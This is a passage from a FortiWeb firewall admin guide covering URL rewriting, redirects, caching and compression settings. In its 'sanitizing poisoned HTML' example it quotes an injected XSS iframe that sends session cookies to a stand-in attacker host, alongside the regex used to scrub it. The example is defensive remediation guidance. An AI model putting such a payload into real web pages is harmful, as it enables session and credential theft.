- Rewrite the URL line in the header of an HTTP request
- Rewrite the `Host:` field in the header of an HTTP request
- Rewrite the `Referer:` field in the header of an HTTP request
- Redirect requests to another website
- Send a `403 Forbidden` response to a matching HTTP requests
- Rewrite the HTTP location line in the header of a matching redirect response from the web server
- Rewrite the body of an HTTP response from the web server



Rewrites/redirects are not supported in all modes. For details, see ["Supported features in each operation mode"](#) on page 102.

FortiWeb **cannot rewrite requests that exceed FortiWeb's buffer size**. To block requests that cannot be rewritten, configure [Malformed Request](#) (page 574).

Rewrites will work on single requests as well as those that have been fragmented using:

```
Transfer-Encoding: chunked
```

To configure a rewriting/redirection rule

1. Go to **Application Delivery > URL Rewriting** and select the **URL Rewriting Rule** tab.
2. Click **Create New**.

The configuration options vary according to your settings in **Action Type**, and **Request Action** or **Response Action**.

3. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. In **Action Type**, select whether this rule will rewrite HTTP requests from clients (**Request Action**) or HTTP responses from the web server (**Response Action**).

The next step varies by your selection in this step.

5. If you selected **Request Action** in **Action Type**, in the **Request Action** drop-down list, select one of the following:
 - **Rewrite HTTP Header**—Rewrites part(s) of the header in the HTTP request before passing it to the web server. Also configure these settings:

Host	Enable then type either a host name, such as <code>store.example.com</code>, or IP address if you want to replace the value of the <code>Host:</code> field in the header of HTTP requests. Requests will be redirected to this web host. This field supports back references such as <code>\$0</code> to the parts of the original request that matched any capture groups that you entered in Regular Expression (page 625) for each object in the condition table. A capture group is a regular expression, or part of one, surrounded in parentheses. For details, see "Regular expression syntax" on page 829. For an example, see "Example: Rewriting URLs using variables" on page 637.
Using Physical Server	Enable to insert the variable <code>FortiWeb_PSERVER</code> in Host (page 623). At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request. Tip: Use this option when the Deployment Mode (page 278) option in the server policies using this rule is either Server Balance or HTTP Content Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
URL	Enable then type a string, such as <code>/catalog/item1</code>, if you want to replace the URL in the HTTP request.

	Do not include the name of the web host, such as <code>www.example.com</code>, nor the protocol. Like Host (page 623), this field supports back references such as <code>\$0</code> to the parts of the original request that matched any capture groups that you entered in Regular Expression (page 625) for each object in the condition table. For details, see "What are back-references?" on page 835. For an example, see "Example: Rewriting URLs using regular expressions" on page 637.
Referer	Enable then type a URI, such as <code>http://www.example.com/index</code>, if you want to rewrite the <code>Referer:</code> field in the HTTP header. This option is available only if Request Action is Rewrite HTTP Header.
Using Physical Server	Enable to insert the variable <code>FortiWeb_PSERVER</code> in Referer (page 624). At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request. Tip: Use this option when the Deployment Mode (page 278) option in the server policies using this rule is either Server Balance or HTTP Content Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.
Header Field Name	Enable to insert the name of the header field that you want to insert to a request, such as "Myheader".
Header Field Value	Enable to insert the value of the header field that you specified in Header Field Name (page 624), such as "123". Then, the customized header <code>Myheader: 123</code> will be inserted to the matched HTTP requests.

- **Redirect (301 Permanently) or Redirect (302 Temporary)**—In **Location**, type a URI, such as `http://www.example.com/new-url`, to use in the `301 Moved Permanently` or the `302 Moved Temporarily` redirection HTTP response from the FortiWeb appliance. Like **Host** (page 623) and **URL** (page 623), this field supports back-references such as `$0`. For details, see "What are back-references?" on page 835.
 - **Send 403 Forbidden**—Return a `403 Forbidden` response to the client.
6. If you selected **Response Action** in **Action Type**, in the **Response Action** drop-down list, select one of the following:
- **Rewrite HTTP Body**—In **Replacement**, type the string that will replace content in the body of HTTP responses. For details, see "What are back-references?" on page 835 and "Cookbook regular expressions" on page 836.

- **Rewrite HTTP Location**—In **Location**, type a URI, such as `http://www.example.com/new-url`, to use in the 302 Moved Temporarily redirection when the HTTP response matches. Like **Host** (page 623) and **URL** (page 623), this field supports back-references such as `$0`. For details, see "What are back-references?" on page 835.

7. Click **Create New** to add match conditions for the rule to **URL Rewriting Condition Table**.

8. Configure these settings:

Object	Select which part of the HTTP request will be tested for a match: • HTTP Host—The <code>Host :</code> field in the HTTP header. This option does not appear if Response Action in Step 6 on page 624 was Rewrite HTTP Body. • HTTP Request URL—The URL in the HTTP header. The URL can be up to 1,024 characters long, unless superseded by HTTP constraints such as "Total URL Parameters Length" on page 570. This option does not appear if Response Action in Step 6 on page 624 was Rewrite HTTP Body. • HTTP Referer—The <code>Referer :</code> field in the HTTP header. This option appears only if Action Type in Step 4 on page 623 was Request Action. This option does not appear if Response Action in Step 6 on page 624 was Rewrite HTTP Body. • HTTP Body—The content of the request, such as an HTML document. This option appears only if Response Action in Step 6 on page 624 was Rewrite HTTP Body. • HTTP Location—The <code>Location :</code> field in the header of the request. This option appears only if Response Action in Step 6 on page 624 was Rewrite HTTP Location. If the request must meet multiple conditions (for example, it must contain both a matching <code>Host :</code> field and a matching URL), add each condition to the condition table separately.
Regular Expression	Depending on your selection in Object (page 625) and Meet this condition if (page 626), type a regular expression that defines either all matching or all non-matching objects. Also configure Meet this condition if (page 626). For example, for the URL rewriting rule to match all URLs that begin with <code>/wordpress</code>, you could enter <code>^/wordpress</code>, then, in Meet this condition if (page 626), select Object matches the regular expression. The pattern is not required to begin with a slash (<code>/</code>).

	When you have finished typing the regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829, "What are back-references?" on page 835 and "Cookbook regular expressions" on page 836.
Protocol Filter	Enable if you want to match this condition only for either HTTP or HTTPS. Also configure Protocol (page 626). For example, you could redirect clients that accidentally request the login page by HTTP to a more secure HTTPS channel—but the redirect is not necessary for HTTPS requests. As another example, if URLs in HTTPS requests should be exempt from rewriting, you could configure the rewriting rule to apply only to HTTP requests.
Protocol	Select which protocol will match this condition, either HTTP or HTTPS. This option appears only if Protocol Filter (page 626) is enabled.
Content Type Filter	Enable if you want to match this condition only for specific HTTP content types (also called Internet or MIME file types) such as <code>text/html</code>, as indicated in the <code>Content-Type: HTTP</code> header. Also configure Content Type Set (page 626).
Content Type Set	In the left text area, select one or more HTTP content types that you want to match this condition, then click the right arrow button to move them into the text area on the right side. This option is visible only if Content Type Filter (page 626) is enabled.
Meet this condition if	Indicate how to use Regular Expression (page 625) when determining whether or not this URL rewriting condition is met. • Object does not match the regular expression—If the regular expression does not match the request object, the condition is met. • Object matches the regular expression—If the regular expression does match the request object, the condition is met. If all conditions are met, the FortiWeb appliance executes the Request Action or Response Action, whichever you selected.

9. If you selected **HTTP Referer** from [Object](#) (page 625), also configure these settings:

If no Referer field in HTTP header	Select either: • Do not meet this condition • Meet this condition Requests can lack a <code>Referer:</code> field for several reasons, such as if

the user manually types the URL, and the request does not result from a hyperlink from another website, or if the URL resulted from an HTTPS connection. In those cases, the field cannot be tested for a matching value. For details, see the RFC 2616 (<http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html>) section on the `Referer` field.

This option appears only if **Object** (page 625) is **HTTP Referer**.

10. Click **OK**.

11. Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be rewritten as defined in this rule.

12. Go to **Application Delivery > URL Rewriting** and select the **URL Rewriting Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

13. Click **Create New**.

14. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

15. Click **OK**.

16. Click **Create New**.

17. From the **Rewriting Rule Name** drop-down list, select the name of an existing rewriting rule to add to the policy.

To view or change the information associated with the rule, click the  icon. The **URL Rewriting Rule** dialog appears, and you can view and edit the rules here. Use your browser's **Back** button to return.

18. Click **OK**.

19. Repeat the previous steps for each rule you want to add to the rewriting policy.

20. If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that FortiWeb will be able to rewrite. For details, see "[Configuring temporary decompression for scanning & rewriting](#)" on page 647.

21. To apply the rewriting policy, select it in an inline protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261.

See also

- "[Rewriting & redirecting](#)" on page 622
- "[Example: HTTP-to-HTTPS redirect](#)" on page 628
- "[Example: Full host name/URL translation](#)" on page 631
- "[Example: Sanitizing poisoned HTML](#)" on page 633
- "[Example: Rewriting URLs using regular expressions](#)" on page 637
- "[Example: Rewriting URLs using variables](#)" on page 637
- "[Regular expression syntax](#)" on page 829

- ["What are back-references?"](#) on page 835
- ["Cookbook regular expressions"](#) on page 836

Example: HTTP-to-HTTPS redirect

Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post comments. If an attacker can post while disguised as originating from the client's business, as this could enable an attacker to ruin a business's reputation.

To provide clients with protection from HTTP session hijacking tools such as Firesheep, Example.com wants to automatically redirect **all** HTTP requests to HTTPS. This way, **before** the client attempts to log in and exposes both their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS encrypted, and thereby protected.

The **Redirect HTTP to HTTPS** option in the server policy configuration allows you to redirect all HTTP requests to equivalent URLs on a secure site.

Alternatively, you can create a rewriting rule that matches all HTTP requests, regardless of host name variations or URL, such as:

```
http://www.example.com/login  
http://www.example.co.jp/
```

and redirects them to the equivalent URL on its secure sites:

```
https://www.example.com/login  
https://www.example.co.jp/
```

This rewriting rule has 3 parts:

- Regular expression that matches HTTP requests with any host name—`(. *)`



This regular expression should **not** match HTTPS requests, since it would decrease performance to redirect requests that are already in HTTPS.

- Regular expression that matches requests with any URL in the HTTP header—`^/(. *)$`
- Redirect destination location that assembles the host name (`$0`) and URL (`$1`) from the request in front of the new protocol prefix, `https://`

For details, see ["What are back-references?"](#) on page 835.

This could be configured via either the CLI or web UI.

URL Rewriting Policy

URL Rewriting Rule

New URL Rewriting Rule

Name

http_to_https

Action Type

Request Action

Response Action

Request Action

Redirect (302 Temporary)

OK

Cancel

URL Rewriting Condition Table

+ Create New

Edit

Delete

ID	Object	Regular Expression	Protocol Filter	Protocol
No matching entries found				

Location

Replacement Location

http://\$0/\$1

URL Rewriting Policy

URL Rewriting Rule

New URL Rewriting Condition

ID

auto

Object

HTTP Host

Regular Expression

(.*)

>>

Protocol Filter

☒

Protocol

HTTP

Meet this condition if:

Object matches the regular expression and the protocol filter

Object does not match the regular expression or the protocol filter

OK

Cancel

URL Rewriting Policy		URL Rewriting Rule	
New URL Rewriting Condition			
ID	auto		
Object	HTTP Request URL ▼		
Regular Expression	^/(.*)\$		>>
Protocol Filter	☒		
Protocol	HTTP ▼		
Meet this condition if:			
Object matches the regular expression and the protocol filter Object does not match the regular expression or the protocol filter			
		OK	Cancel

CLI commands to implement this are:

```
config waf url-rewrite url-rewrite-rule
edit "http_to_https"
set action redirect
set location "https://$0/$1"
set host-status disable
set host-use-pserver disable
set referer-status disable
set referer-use-pserver disable
set url-status disable
config match-condition
edit 1
set reg-exp "(.*)"
set protocol-filter enable
next
edit 2
set object http-url
set reg-exp "^/(.*)$"
next
end
next
end
config waf url-rewrite url-rewrite-policy
edit "http_to_https"
config rule
edit 1
set url-rewrite-rule-name "http_to_https"
next
end
next
end
```

See also

- ["Example: Full host name/URL translation"](#) on page 631
- ["Rewriting & redirecting"](#) on page 622
- ["Example: Rewriting URLs using regular expressions"](#) on page 637
- ["Example: Rewriting URLs using variables"](#) on page 637
- ["Regular expression syntax"](#) on page 829
- ["What are back-references?"](#) on page 835
- ["Cookbook regular expressions"](#) on page 836

Example: Full host name/URL translation

www.example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS name, and vice versa.

When the external DNS name www.example.com appears in the client's request's HTTP `Host :` header, it should be rewritten to www-internal.example.com.

In the server's response traffic, when the internal DNS name www-internal.example.com appears in the `Location :` header, or in hyperlinks in the document body, it must be rewritten.

To do this, three rewriting rules and conditions must be created, one for each of part that FortiWeb must rewrite.

Example request host name rewrite

Object (page 625)	HTTP Host
Regular Expression (page 625) in URL match condition	www.example.com
Host (page 623)	www-internal.example.com

URL Rewriting Policy **URL Rewriting Rule**

Edit URL Rewriting Rule

Name url-translation1

Action Type **Request Action** Response Action

Request Action **Rewrite HTTP Header**

OK **Cancel**

URL Rewriting Condition Table

+ Create New **Edit** **Delete**

ID	Object	Regular Expression	Protocol Filter	Protocol
1	HTTP Host	www.example.com	Enable	HTTPS

Replacement URL

☒ Host www-internal.example.com ☐ Using Physical Server ☐

☐ URL

Replacement Referrer

☐ Referrer http:// ☐ Using Physical Server ☐

HTTP Header Insertion

☐ Header Field Name Header Field Value

Example response location rewrite

Object (page 625)	HTTP Location
Regular Expression (page 625) in URL match condition	(.*)www-internal.example.com(.*)
Location	\$0www.example.com\$1

URL Rewriting Policy **URL Rewriting Rule**

Edit URL Rewriting Rule

Name url-translation2

Action Type **Request Action** **Response Action**

Response Action **Rewrite HTTP Location**

OK **Cancel**

URL Rewriting Condition Table

+ Create New **Edit** **Delete**

ID	Object	Regular Expression	Protocol Filter	Protocol
1	HTTP Location	(.*)www-internal.example.com(.*)	Enable	HTTPS

Replacement String

\$0www.example.com\$1

Example response hyperlink rewrite

Object (page 625)	HTTP Body

Regular Expression (page 625)	www-internal.example.com
Replacement	www.example.com

URL Rewriting Policy

URL Rewriting Rule

Edit URL Rewriting Rule

Name

url-translation

Action Type

Request Action

Response Action

Response Action

Rewrite HTTP Body

OK

Cancel

URL Rewriting Condition Table

+ Create New

Edit

Delete

ID	Object	Regular Expression	Protocol Filter	Protocol
1	HTTP Body	www-internal.example.com	Enable	HTTPS

Replacement

www.example.com

See also

- ["Example: Rewriting URLs using regular expressions" on page 637](#)
- ["Example: Rewriting URLs using variables" on page 637](#)
- ["Rewriting & redirecting" on page 622](#)
- ["Regular expression syntax" on page 829](#)
- ["What are back-references?" on page 835](#)
- ["Cookbook regular expressions" on page 836](#)

Example: Sanitizing poisoned HTML

Example.com is a cloud hosting service provider that has just bought several FortiWeb appliances. Thousands of customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many of its web applications by using XSS to inject stored clickjacking attacks into login pages.

Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of offending responses.

Example.com's incident response team has already found some of the poisoned HTML that is afflicting some login pages. All major web browsers are currently vulnerable.

It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.

To mitigate effects, example.com wants to scrub the malicious HTML from responses, **before** they reach clients that could unwittingly participate in attacks, or have their identities stolen.

To do this, FortiWeb will rewrite the injected attack:

```
<iframe src="javascript:document.location.href=
  'attacker.example.net/peep?url='+
  parent.location.href.toString()+'&lulz='
  escape(document.cookie);"
  sandbox="allow-scripts allow-forms"
  style="width:0%;height:0%;position:absolute;left:-9999em;">
</iframe>
```

into a null string to delete it from the infected web server's response. FortiWeb will replace the attack with its own content:

```
<script src="http://irt.example.com/toDo.jss"></script>
```

so that each infected response posts the infected host name, URL, and attack permutation to a “to do” list for the incident response team, as well as notifying the impacted customer.

Since attackers often try new attack forms to evade filters, the example regular expression will use a few techniques for flexible matching:

- case insensitivity—(?i)
- alternative quotation marks—[" ' ` ? " " „ ? , ' ' ' ? < > « »]
- word breaks of zero or more white spaces—(\s) *
- word breaks using forward slashes instead of white space—[\s \/] *
- zero or more new line breaks within the tag—(\n | .) *

Example HTML body rewrite using regular expressions

Object (page 625)	HTTP Body
Regular Expression (page 625)	(?i)<(\s)*iframe[\s/]*src=(\s)*["'?"`" , ? , "'?<>«»]javascript:(\n .)*</iframe>
Replacement	<script src="http://irt.example.com/toDo.jss"></script>

1. Create a new URL rewriting rule:

URL Rewriting Policy

URL Rewriting Rule

New URL Rewriting Rule

Name

xss-scrub

Action Type

Request Action

Response Action

Response Action

Rewrite HTTP Body

OK

Cancel

URL Rewriting Condition Table

+ Create New

Edit

Delete

ID	Object	Regular Expression	Protocol Filter	Protocol
No matching entries found				

Replacement

Replacement Strings in Body

2. Create a new URL rewriting condition in the rule:

The screenshot shows the "URL Rewriting Rule" tab in a configuration window titled "New URL Rewriting Condition".

- ID:** auto
- Object:** HTTP Body
- Regular Expression:** `(?i)<(\s)*iframe[\s\|]src=(\s)*["'?">?{,}?`
- Protocol Filter:** Disabled (radio button)
- Content Type Filter:** Enabled (checkbox)
- Content Type Set:** A list containing:
 - text/plain
 - application/xml(or)text
 - application/javascript
 - application/soap+xml
 - application/x-javascript
- Action:** A set of two arrows pointing left and right, with a list containing:
 - text/html
 - text/javascript

Below the configuration fields, it says "Meet this condition if:" followed by two options:

- Object matches the regular expression,the protocol filter and the content type filter
- Object does not match the regular expression,the protocol filter or the content type filter** (This option is selected with a blue background and a black arrow points to it.)

At the bottom are "OK" and "Cancel" buttons.

3. Complete the replacement strings in body:

URL Rewriting Policy

URL Rewriting Rule

Edit URL Rewriting Rule

Name

xss-scrub

Action Type

Request Action

Response Action

Response Action

Rewrite HTTP Body

OK

Cancel

URL Rewriting Condition Table

+ Create New	Edit	Delete		
ID	Object	Regular Expression	Protocol Filter	Protocol
1	HTTP Body	(?i)<(s)*iframe\s√src=(s)*["'?"`~?>@<]javascript:(\n\.)*</iframe>	Disable	

Replacement

Replacement Strings in Body

<script src="http://irt.example.com/tt

See also

- "Defining custom data leak & attack signatures" on page 525
- "Regular expression syntax" on page 829
- "What are back-references?" on page 835
- "Cookbook regular expressions" on page 836

Example: Inserting & deleting body text

Example.com wants to delete some text, and insert other text. As an example, it wants to change:

Hey everyone, this works!

to:

Hey, this works now!

To do this, it will rewrite matching parts of the body in the web server's response.

The regular expression contains capture groups (`. *`) that create numbered substrings—back-references such as `$0`—that you can recall by their number when writing the replacement text. By omitting a capture group (in this case, `$1` is omitted from **Replacement**), that part of the text is removed. To insert text, simply add it to the replacement text.

Example body rewrite using regular expressions

Object (page 625)	HTTP Body
Regular Expression (page 625)	<code>(.*)(everyone), (.)(works)!</code>
Replacement	<code>\$0, \$2 \$3 now!</code>

URL Rewriting Policy

URL Rewriting Rule

Edit URL Rewriting Rule

Name

body-rewrite

Action Type

Request Action

Response Action

Response Action

Rewrite HTTP Body

OK

Cancel

+ Create New

Edit

Delete

Control Group 0

Control Group 1

Control Group 2

Control Group 3

ID

Object

Regular Expression

1	HTTP Body	<code>(.)(everyone), (.)(works)!</code>

Replacement Strings in Body

Replacement

`$0, $2 $3 now!`

See also

- "Regular expression syntax" on page 829
- "What are back-references?" on page 835

- ["Cookbook regular expressions"](#) on page 836

Example: Rewriting URLs using regular expressions

Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting languages.

The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients' bookmarked URLs more permanent, so that clients will not need to repair them if the university switches software vendors.

Because it has so many URLs, the university uses regular expressions to rewrite sets of similar URLs, rather than configuring rewrites for each URL individually. More specific URL rewrite rules are selected first in the URL rewriting group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.

Example URL rewrites using regular expressions

Regular expression in URL match condition	URL	Example URL in client's request	Result
<code>^/cgi/python/ustore/payment.html\$</code>	<code>/store/checkout</code>	<code>/cgi/python/ustore/payment.html</code>	<code>/store/checkout</code>
<code>^/ustore*\$</code>	<code>/store/view</code>	<code>/ustore/viewItem.asp?id=1&img=2</code>	<code>/store/view</code>
<code>/Wordpress/(.*)</code>	<code>/blog/\$0</code>	<code>/wordpress/10/11/24</code>	<code>/blog/10/11/24</code>
<code>/(.*)\.xml</code>	<code>/\$0</code>	<code>/index.xml</code>	<code>/index</code>

See also

- ["Example: HTTP-to-HTTPS redirect"](#) on page 628
- ["Example: Rewriting URLs using variables"](#) on page 637
- ["Rewriting & redirecting"](#) on page 622
- ["Regular expression syntax"](#) on page 829
- ["What are back-references?"](#) on page 835
- ["Cookbook regular expressions"](#) on page 836

Example: Rewriting URLs using variables

Example.com has a website that uses ASP, but the administrator wants it to appear that the website uses PHP. To do this, the administrator configured a rule that changes any requested file's extension which is asp into php.

The condition table contains two match conditions, in this order:

1. The `Host :` may be anything.
2. The request URL must end in `.asp`.

If both of those are true, the request is rewritten.

The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each rewritten URL to re-use parts of the original request.

To assemble the rewritten URL by re-using the original request's file path and `Host :`, the administrator uses two back reference variables: `$0` and `$1`. Each variable refers to a part of the original request. The parts are determined by which capture group was matched in the **Regular Expression** (page 625) field of each condition table object.

- `$0`—The text that matched the **first** capture group `(.*)`. In this case, because the object is the `Host :` field, the matching text is the host name, `www.example.com`.
- `$1`—The text that matched the **second** capture group, which is also `(.*)`. In this case, because the object is the request URL, the matching text is the file path, `news/local`.

Example URL rewrites using regular expressions

Example request	URL Rewriting Condition Table	Replacement URL	Result
<code>www.example.com</code>	HTTP Host <code>(.*)</code>	Host <code>\$0</code> (page 623)	<code>www.example.com</code>
<code>/news/local.asp</code>	HTTP URL <code>/</code> <code>(.*)\.asp</code>	URL <code>/\$1.php</code> (page 623)	<code>/news/local.php</code>

See also

- "Rewriting & redirecting" on page 622
- "Example: Rewriting URLs using regular expressions" on page 637
- "Example: HTTP-to-HTTPS redirect" on page 628
- "Regular expression syntax" on page 829
- "What are back-references?" on page 835
- "Cookbook regular expressions" on page 836


Caching

To improve performance of your back-end network and servers by reducing their traffic and processing load, you can configure FortiWeb to cache responses from your servers.

Normally, FortiWeb forwards all allowed requests to your servers. This results in a 1:1 ratio of client-side to server-side traffic. When content caching is enabled, however, FortiWeb will forward only requests for content that:

- Does not exist in its cache, and
- Is cacheable (see ["What can be cached?"](#) on page 642)

When many requests are for cached content, the ratio of traffic changes to n:1.



Content caching provides the greatest benefit for things that rarely change, such as icons, background images, movies, PDFs, and static HTML.

To configure web content caching



Response caching is not supported on FortiWeb 400B due to limited available memory.

1. If you want to cache **all** URLs except for a few, go to **Application Delivery > Caching** and select the **Web Cache Exceptions** tab. Otherwise, skip to [Step 9](#) on page 641.
2. Click **Create New**.
3. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

4. Click **OK**.
5. Click **Create New**.
6. Configure these settings:



You can omit items from the cache by matching the request URL, its cookie name, or both. Some URLs may not require exceptions because they inherently cannot be cached. For details, see ["What can be cached?"](#) on page 642.

Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected host names entry in order to match the exception. Also configure Host (page 640).
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the exception. This option is available only if Host Status (page 640) is enabled.
Type	Indicate whether URL Pattern (page 640) is a Simple String (that is, a literal URL) or a Regular Expression .
URL Pattern	Depending on your selection in Type (page 640), enter either: - the literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the rule. The URL must begin with a slash (/). - a regular expression, such as <code>^/* .php</code>, matching all and only the URLs to which the rule should apply. The pattern does not require a slash (/); however, it must at match URLs that begin with a slash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829. Tip: Generally, URLs that require autolearning adapters do not work well with caching either. Dynamic URLs that contain variables such as user names (e.g. older versions of Microsoft OWA) or volatile data such as parameters usually should not be cached. Because FortiWeb is unlikely to receive identical subsequent requests for them, dynamic URLs can rapidly consume cache without improving performance.
Cookie Name	Type the name of the cookie, such as <code>sessionid</code>, as it appears in the <code>Cookie :</code> HTTP header. Tip: Content that is unique to a user, such as personalized pages that appear after a person has logged in, usually should not be cached. If the web application's authentication is cookie-based, configure this

setting with the name of the authentication cookie. Otherwise, if it is parameter-based, configure the exception with a URL pattern that matches the authentication ID parameter.

7. Click **OK**.
8. Repeat the previous steps for each entry that you want to add to the exception.
9. Go to **Application Delivery > Caching** and select the **Web Cache Policy** tab.
10. Click **Create New**.
11. Configure these settings:

Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host:</code> field of the HTTP request must be in to match the policy. This option is available only if Host Status (page 640) is enabled.
Cache Buffer Size	Type the maximum size in megabytes (MB) of RAM to allocate to caching content. Storing cached content to FortiWeb's hard disk is not supported. Tip: For improved performance, adjust this setting until it is as small as possible yet FortiWeb can still fit most graphics and server processing-intensive pages into its cache. This allows FortiWeb to allocate more RAM to other features that also affect throughput, such as scanning for attacks.
Maximum Cached Page Size	Type the maximum size in kilobytes (KB) of each URL that FortiWeb will cache. Objects such as high-resolution images, movies, or music that are larger than this limit will not be cached. Tip: For improved performance, adjust this setting until FortiWeb can fit most graphics and server processing-intensive pages into its cache.
Default Cache Timeout	Type the time to live for each entry in the cache. Expired entries will be removed. A subsequent request for the URL will cause FortiWeb to forward the request to the server in order to cache the response again. Any additional requests will receive FortiWeb's cached response until the URL's cache timeout occurs.
Exception	Select a list of exceptions, if any, to this list of cached URLs. Click the  icon to view or edit exceptions.

12. Click **OK**.
13. To automatically cache all URLs except for those in **Exception**, skip to [Step 17](#) on page 642. Otherwise, to manually specify which URLs to cache, click **Create New** to create a new web cache policy item rule.
14. Configure these settings:

Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected host names entry in order to match the policy. Also configure Host (page 642).
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the policy. This option is available only if Host Status (page 642) is enabled.
Type	Indicate whether URL Pattern (page 642) is a Simple String (that is, a literal URL) or a Regular Expression .
URL Pattern	Depending on your selection in Type (page 642), enter either: - the literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the policy. The URL must begin with a slash (<code>/</code>). - a regular expression, such as <code>^/*\.php</code>, matching all and only the URLs to which the policy should apply. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a slash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829.

15. Click **OK**.

16. Repeat the previous steps for each URL that you want to cache.

Omitting a URL from the table is equivalent to creating an exception: if the table is **not** empty, FortiWeb will only cache URLs that you list in this table.

17. To apply the rewriting policy, select it in an inline protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261.

See also

- "[Compression & decompression](#)" on page 644

What can be cached?

Caching generally works best with data that doesn't change. Things like static web pages, images, movies, and music all typically work well.

When content changes often, caching provides overhead by consuming RAM without its usual benefit of reduced latency. Some HTTP headers and other factors indicate dynamic content which FortiWeb will not cache.

FortiWeb will not cache responses if the request:

- Method is not `GET` (e.g. responses to `POST` are not cached)
- Contains the header:
 - `Authorization:`
 - `Proxy-Authorization:`
 - `If-Modified-Since`
 - `If-Unmodified-Since`
 - `If-Match`
 - `If-None-Match`

FortiWeb also will not cache if the response:

- Has a `Set-Cookie:` field
- Has a `Vary:` field
- Forbids caching (e.g. `Cache-Control: no-cache/no-store/private`)
- Has no `Content-Length:` field (e.g. `Connection:close` and `Transfer-Encoding: chunked`)
- Has no cache expiry tag (e.g. `Last-Modified/Etag` and `Cache-Control/Expires`)

Compression & decompression

Similar to SSL/TLS, you can either completely offload compression to FortiWeb to save resources on your web servers, or temporarily decompress only as needed to scan and/or modify traffic that has already been compressed by your web servers.

Configuring compression/decompression exemptions

If necessary, you can exempt HTTP `Host` : names and URLs from compression or decompression by FortiWeb. Generally, if a specific web server already applies compression, and if a specific response never needs to be scanned, compressed, or rewritten, it should be exempt from compression/decompression by FortiWeb.



If compressed, a request or response usually cannot be scanned, rewritten, or otherwise modified by FortiWeb. If you exempt vulnerable URLs, this will compromise the security of your network.

To configure a rule exclusion

1. Go to **Application Delivery > Compression** and select the **Exclusion Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.
3. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. Click **OK**.
5. Click **Create New**.
6. Enable **Host Status** to require that the `Host` : field of the HTTP request match a protected host names entry in order to match the exclusion.

Also configure **Host**.

7. From the **Host** drop-down list, select which protected host entry that the `Host` : field of the HTTP request must be in to match the exclusion.

This option is available only if **Host Status** is enabled.

8. In **Request URL**, type the exact URL of the page to use in the exclusion.

The URL must begin with a slash (/). The URL must not include the domain or IP address.

9. Click **OK**.
10. Include the exception in a compression or decompression policy. For details, see "[Configuring compression offloading](#)" on page 645 or "[Configuring temporary decompression for scanning & rewriting](#)" on page 647.

Configuring compression offloading

Most web servers can be configured to compress files when responding to a request. Compressed files often reduce bandwidth, and can result in faster delivery time to clients. Modern browsers automatically decompress files before displaying the web pages.

To successfully decompress and read the response, clients use the corresponding decompression algorithm. Web servers include an HTTP header such as:

```
Content-Encoding: gzip
```

to indicate which algorithm was used to compress the HTTP body:

```
^_<8B>^H^H+h,M^@^Cimage.png^@<EC><FC>St<AE>K<D4><EF><8B><C6>^\\1G<AC>^Q<DB>
<U+0588>F19m9m9m<DB>^Y<D1>N<E6><9C><DF>^<AB><B5>sq<CE><D5><D9><FB>b<A5><B5>\\<BC><EF><F3
>T/<F5><AA><EA><BF>^?<F5>$DZR^X^F
^C
